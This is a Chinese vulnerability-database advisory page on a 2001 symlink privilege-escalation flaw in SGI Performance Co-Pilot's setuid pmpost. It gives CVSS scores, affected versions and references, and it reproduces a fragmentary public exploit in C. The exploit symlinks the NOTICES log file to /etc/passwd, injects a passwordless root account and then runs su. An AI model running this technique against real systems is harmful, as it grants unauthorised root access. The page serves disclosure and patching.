发布时间 :2001-12-06 00:00:00
修订时间 :2016-10-17 22:12:03

[原文]The pmpost program in Performance Co-Pilot (PCP) before 2.2.1-3 allows a local user to gain privileges via a symlink attack on the NOTICES file in the PCP log directory (PCP_LOG_DIR).

[CNNVD]Performance Co-Pilot (PCP)漏洞(CNNVD-200112-031)

        Performance Co-Pilot (PCP) 2.2.1-3之前版本的pmpost程序存在漏洞。本地用户借助PCP日志目录(PCP_LOG_DIR)中NOTICES文件的符号链接攻击提升特权。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:sgi:performance_co-pilot:2.1.9SGI Performance Co-Pilot 2.1.9
cpe:/a:sgi:performance_co-pilot:2.2SGI Performance Co-Pilot 2.2
cpe:/a:sgi:performance_co-pilot:2.1.3SGI Performance Co-Pilot 2.1.3
cpe:/a:sgi:performance_co-pilot:2.1.4SGI Performance Co-Pilot 2.1.4
cpe:/a:sgi:performance_co-pilot:2.1.1SGI Performance Co-Pilot 2.1.1
cpe:/a:sgi:performance_co-pilot:2.1.2SGI Performance Co-Pilot 2.1.2
cpe:/a:sgi:performance_co-pilot:2.1.7SGI Performance Co-Pilot 2.1.7
cpe:/a:sgi:performance_co-pilot:2.1.8SGI Performance Co-Pilot 2.1.8
cpe:/a:sgi:performance_co-pilot:2.1.10SGI Performance Co-Pilot 2.1.10
cpe:/a:sgi:performance_co-pilot:2.1.5SGI Performance Co-Pilot 2.1.5
cpe:/a:sgi:performance_co-pilot:2.1.11SGI Performance Co-Pilot 2.1.11
cpe:/a:sgi:performance_co-pilot:2.1.6SGI Performance Co-Pilot 2.1.6

- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(PATCH)  SGI  20010601-01-A
(VENDOR_ADVISORY)  BUGTRAQ  20010619 Re: pmpost - another nice symlink follower
(UNKNOWN)  BUGTRAQ  20010618 pmpost - another nice symlink follower
(VENDOR_ADVISORY)  XF  irix-pcp-pmpost-symlink(6724)

- 漏洞信息

Performance Co-Pilot (PCP)漏洞
高危 未知
2001-12-06 00:00:00 2005-05-02 00:00:00
        Performance Co-Pilot (PCP) 2.2.1-3之前版本的pmpost程序存在漏洞。本地用户借助PCP日志目录(PCP_LOG_DIR)中NOTICES文件的符号链接攻击提升特权。

- 公告与补丁


- 漏洞信息 (20937)

SGI Performance Co-Pilot 2.1.x/2.2 pmpost Symbolic Link Vulnerability (EDBID:20937)
irix local
2001-06-18 Verified
0 IhaQueR
N/A [点击下载]

Performance Co-Pilot (PCP) is a set of services to support system-level performance monitoring developed by SGI. It has traditionally been an IRIX product, however SGI has made it open source and it is now available for Linux systems.

One of the utilities that ships with PCP is called 'pmpost'. It is often installed setuid root by default. When writing to the 'NOTICES' file in its user-definable log directory, 'pmpost' will follow symbolic links. Since the data written is user-supplied (the command-line arguments), it is possible to gain superuser privileges if 'pmpost' is setuid root.

Note: This vulnerability affects both binary versions for IRIX and the open source distribution of PCP. S.u.S.E. has made PCP packages available for their linux distribution. PCP is not installed as part of S.u.S.E. Linux by default. The PCP packages for S.u.S.E. Linux 7.0 do not install 'pmpost' setuid root. Versions 7.1 and 7.2 do, and are vulnerable if PCP is installed.

It has been reported that not all versions of PCP for IRIX are vulnerable. To determine whether you are vulnerable, run this command:

strings /usr/pcp/bin/pmpost | grep PCP_LOG_DIR

If the string 'PCP_LOG_DIR' appears, it is most likely that the version of 'pmpost' installed is vulnerable.

It is not yet known which other Linux vendors may ship with PCP as either an optional package or installed by default. 

*							*
*		pmpost local root exploit		*
*		vulnerable: pcp <= 2.1.11-5		*
*		by IhaQueR				*
*							*

#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <sys/stat.h>

const char *bin="/usr/share/pcp/bin/pmpost";
static char buf[512];
static char dir[128];

	sprintf(dir, "/tmp/dupa.%.8d", rand());

	if(mkdir(dir, S_IRWXU))


	if(symlink("/etc/passwd", "./NOTICES"))

	snprintf(buf, sizeof(buf)-1, "PCP_LOG_DIR=%.500s", dir);


	if(!fork()) {
		execl(bin, bin, "\nr00t::0:0:root:/root:/bin/bash", NULL);
	else {
		waitpid(0, NULL, WUNTRACED);
		sprintf(buf, "rm -rf dupa.*");
		execl("/bin/su", "/bin/su", "r00t", NULL);

- 漏洞信息

Performance Co-Pilot pmpost Symlink Privilege Escalation
Local Access Required Race Condition
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2001-06-18 Unknow
2001-06-18 Unknow

- 解决方案


Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete